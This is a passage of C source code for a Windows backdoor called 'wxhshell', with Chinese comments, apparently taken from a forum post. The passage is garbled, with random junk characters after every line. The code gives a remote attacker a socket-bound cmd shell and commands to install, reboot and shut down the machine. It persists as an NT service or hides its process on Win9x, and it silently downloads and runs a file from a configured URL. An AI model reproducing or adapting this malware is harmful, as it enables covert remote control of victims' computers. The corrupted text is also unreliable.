    break; \>c1Z5H>  
  } TS@U0Ror  
  // 安装 7 MG<!U  
  case 'i': { 4[n[Ch=lu  
    if(Install()) betTAbF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !X+}W[Ic^  
    else 3'6by!N,d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tiTh7qYi9  
    break; Y>I9o)KR  
    } Mb(hdS90  
  // 卸载 2R~[B]2"r  
  case 'r': { :?H1h8wbCt  
    if(Uninstall()) gCv[AIE_m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \x=!'  
    else >W^)1E,Qh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QUz_2rN^  
    break; |jyD@Q,4  
    } xH{V.n&v  
  // 显示 wxhshell 所在路径 QA# 7T3|  
  case 'p': { u^+ (5|  
    char svExeFile[MAX_PATH]; ]RTK:%  
    strcpy(svExeFile,"\n\r"); z_A34@a  
      strcat(svExeFile,ExeFile); NU.YL1  
        send(wsh,svExeFile,strlen(svExeFile),0); o;'-^ LJ  
    break; z i3gE$7  
    } Jp +h''t  
  // 重启 :}[ D;cx  
  case 'b': { 9 N9Q#o$!.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F{FSmUxzK  
    if(Boot(REBOOT)) JwcC9 O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jP"yG#  
    else { Zl{ DqC^  
    closesocket(wsh); apv"s+  
    ExitThread(0); E rnGX#@v  
    } 4 |xQQv  
    break; R6qC0@*  
    } BaOPtBYA:  
  // 关机 1JF>0ijU@  
  case 'd': { %oiA'hz;*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SaiYdJ  
    if(Boot(SHUTDOWN)) s^ K:cz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J9XV:)Yv#  
    else { c}D>.x|]  
    closesocket(wsh); yvV]|B@sO  
    ExitThread(0); 1L<X+,]@  
    } G33'Cgo:,  
    break; xqzB=0  
    } MFs W  
  // 获取shell }Fb966 $  
  case 's': { E9:p A5H-j  
    CmdShell(wsh); }!@X(S!do  
    closesocket(wsh); tnFhL&  
    ExitThread(0); 3Qu Ft~@@  
    break; GE |P)VO  
  } h SU|rVi  
  // 退出 f}{Oj-:"CC  
  case 'x': { xoNn'LF#u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A&=`?4>  
    CloseIt(wsh); onF?;>[  
    break; Pc=:j(  
    } Y\{&chuF  
  // 离开 H263<^   
  case 'q': { o&Sv2"2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uG 7ll5Yy  
    closesocket(wsh); :hUt7/3c  
    WSACleanup(); 9Q:}VpT~nG  
    exit(1); 8M7pc{  
    break; 81Ityd-}  
        } f<P>IE  
  } $iOkn|~<@W  
  } 0xpE+GY  
e(Ub7L#  
  // 提示信息 lZ5TDS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?Fj >7  
} yNN_}9  
  }  y jY}o  
7"$9js2  
  return; 21.N+H'  
} za [;d4<}k  
$/;<~Pzi  
// shell模块句柄 @4%x7%+[c  
int CmdShell(SOCKET sock) I)}T4OOc/  
{ Wup%.yT~Ds  
STARTUPINFO si; h/\/dp/tt  
ZeroMemory(&si,sizeof(si)); >y^zagC*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; If%**o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1}b1RKKj<  
PROCESS_INFORMATION ProcessInfo; ]|)M /U *  
char cmdline[]="cmd"; BZ>,Qh!J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VU(#5X%Pn  
  return 0; hwdZP=X  
} KfMaVU=4P  
>;OwBzB  
// 自身启动模式 pQOT\- bD  
int StartFromService(void)  hPgDK.R'  
{ _-bEnF+/0  
typedef struct jGKasI`  
{ $ Y_v X 2  
  DWORD ExitStatus; j[\aGS7u  
  DWORD PebBaseAddress; s14;\  
  DWORD AffinityMask; XyE%<]  
  DWORD BasePriority; &g\?znF]H  
  ULONG UniqueProcessId; e?eX9yA7F  
  ULONG InheritedFromUniqueProcessId; j#JE4(&  
}   PROCESS_BASIC_INFORMATION; tCirdwmg  
bAm ,gP  
PROCNTQSIP NtQueryInformationProcess; YlEV@  
`KzNBH,W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D-4\AzIb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %2`geN<  
wNhtw'E8  
  HANDLE             hProcess; L4H5#?'  
  PROCESS_BASIC_INFORMATION pbi; 8cv[|`<  
a0[Mx 4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %!QY:[   
  if(NULL == hInst ) return 0; ;+iw?"  
SoJ'y6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =9'px3:'WR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `]\:%+-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I85bzzZB  
LFV',1+  
  if (!NtQueryInformationProcess) return 0; %<Te&6NU'  
QX&1BKqWn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); coFQu ; i  
  if(!hProcess) return 0; osW"b"_f  
agMI$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3rQ;}<*M  
g7nqe~`{  
  CloseHandle(hProcess); 6qzyeli  
6I,4 6 XZ-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iH[ .u{h  
if(hProcess==NULL) return 0; #ZvDf5A  
T *8rR"  
HMODULE hMod; Uv"O'Z  
char procName[255]; @8xa"Dc  
unsigned long cbNeeded; XZ!^kftyW  
,zU7UL^I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Af{K#R8!  
!$|h[ct  
  CloseHandle(hProcess); o 9]2  
&[iunJv:eq  
if(strstr(procName,"services")) return 1; // 以服务启动 8ECBi(  
8WvQ[cd  
  return 0; // 注册表启动 v05B7^1@_  
} 5/"&C-t  
cl3Dwrf?  
// 主模块 O9(6?n  
int StartWxhshell(LPSTR lpCmdLine) !K319 eE  
{ &fu J%  
  SOCKET wsl; Bfz]PN78.G  
BOOL val=TRUE; [_SV$Jz  
  int port=0; wSP'pM{#2  
  struct sockaddr_in door; ww(.   
<>  |/U`  
  if(wscfg.ws_autoins) Install(); {u,yX@F4l  
Zn9ecN  
port=atoi(lpCmdLine); {&Es3+{A  
o\7q!  
if(port<=0) port=wscfg.ws_port; nt*nTtcE  
dl&402  
  WSADATA data; y%^TZ[S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +`H{  
4+j:]poYG{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SF2<   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cKbsf ^R[e  
  door.sin_family = AF_INET; eLc@w<yB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o(_~ st<  
  door.sin_port = htons(port); zP$Ef7bB  
,Xt!dT-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zBd)E21H  
closesocket(wsl); _onEXrM  
return 1; ]t|-  
} xIh,UW#  
T nG=X:+=  
  if(listen(wsl,2) == INVALID_SOCKET) { KeiPo KhZi  
closesocket(wsl); :VEy\ R>W  
return 1; ]&l%L4Z  
} `zZGL&9m`  
  Wxhshell(wsl); y~AF|Dk=  
  WSACleanup(); 'E#;`}&Ah  
wX!>&Gc.  
return 0; V0!.>sX9  
A(<"oAe|  
} AJ`R2 $  
|?KdQeL  
// 以NT服务方式启动 h-`*S&mZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WOaj_o  
{ !WD~zZ|  
DWORD   status = 0; e}Xmb$  
  DWORD   specificError = 0xfffffff; A>dA&'~R  
iig ({b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0`L>t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MH8Selnv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L% cr `<~  
  serviceStatus.dwWin32ExitCode     = 0; V;}6C&aP.  
  serviceStatus.dwServiceSpecificExitCode = 0; KKLW-V\6K  
  serviceStatus.dwCheckPoint       = 0; Rw9 *!<Izt  
  serviceStatus.dwWaitHint       = 0; uNcE_<  
HECZZnM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V%c1+h<  
  if (hServiceStatusHandle==0) return; uI*2}Q   
eGJ}';O,g  
status = GetLastError(); W7ffdODb  
  if (status!=NO_ERROR) mI$3[ #+  
{ zu8l2(N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c[xH:$G?Y  
    serviceStatus.dwCheckPoint       = 0; Ao/KB_4f*Q  
    serviceStatus.dwWaitHint       = 0; aAX(M=3  
    serviceStatus.dwWin32ExitCode     = status; 9WH  
    serviceStatus.dwServiceSpecificExitCode = specificError; [8J/# !B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )K+ Tvx3(m  
    return; (VxWa#P  
  } 7Vd"AVn}g  
*`HE$k!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "7T9d)  
  serviceStatus.dwCheckPoint       = 0; a#qC.,$A  
  serviceStatus.dwWaitHint       = 0; 1*>lYd8 _  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DE^@b+6  
} \?X'U:  
^8#;>+7R  
// 处理NT服务事件,比如:启动、停止 D\ H) uV`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a &89K  
{ &74*CO9B9  
switch(fdwControl) qU) pBA  
{ Q ]u*Oels  
case SERVICE_CONTROL_STOP: #ir~v>J||  
  serviceStatus.dwWin32ExitCode = 0; j cT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CA PP Oh  
  serviceStatus.dwCheckPoint   = 0; @9wug!,  
  serviceStatus.dwWaitHint     = 0; $M(ZKS3,j  
  { R3dCw:\O+Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FojsI<  
  } # [0>wEq  
  return; v^;%Fz_Dr  
case SERVICE_CONTROL_PAUSE: ~e)`D nJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 50S >`qi2x  
  break; {U,q!<@mq  
case SERVICE_CONTROL_CONTINUE: 5l&9BS&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4X5Tyv(Dp  
  break; EZ.|6oug\  
case SERVICE_CONTROL_INTERROGATE: Yc*Ex-s  
  break; 3]X~bQAw  
}; ?oc#$fcQ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t*&O*T+fgy  
} >**7ck  
A+N%A] 2  
// 标准应用程序主函数 |Ir&C[QS{y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )^C w  
{ laQM*FLg  
X8Xw'  
// 获取操作系统版本 5V^+;eO  
OsIsNt=GetOsVer(); \Q5Jg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,/qS1W(  
O'G,   
  // 从命令行安装 A{!D7kwTz~  
  if(strpbrk(lpCmdLine,"iI")) Install(); ft"B,  
X R =^zp?  
  // 下载执行文件 yE\dv)(<  
if(wscfg.ws_downexe) { >c~ Fg s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lAM"l)Ij  
  WinExec(wscfg.ws_filenam,SW_HIDE); Of*z9 YI  
} ^@&RJa-kb  
BpGK`0H  
if(!OsIsNt) { UqP %S$9  
// 如果时win9x,隐藏进程并且设置为注册表启动 % e@Jc 3  
HideProc(); !/6`< eQ `  
StartWxhshell(lpCmdLine); jNIZ!/K  
} tyH*epa nw  
else {=Y.Z1E:  
  if(StartFromService()) Ny.s u?E  
  // 以服务方式启动 F`3J=AJOJ  
  StartServiceCtrlDispatcher(DispatchTable); .!\NM&E  
else L b'HM-d  
  // 普通方式启动 zdwr5k  
  StartWxhshell(lpCmdLine); )T=cd   
;34 m!\N5  
return 0; vB:_|B  
}
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只看该作者 1 发表于: 2006-10-10
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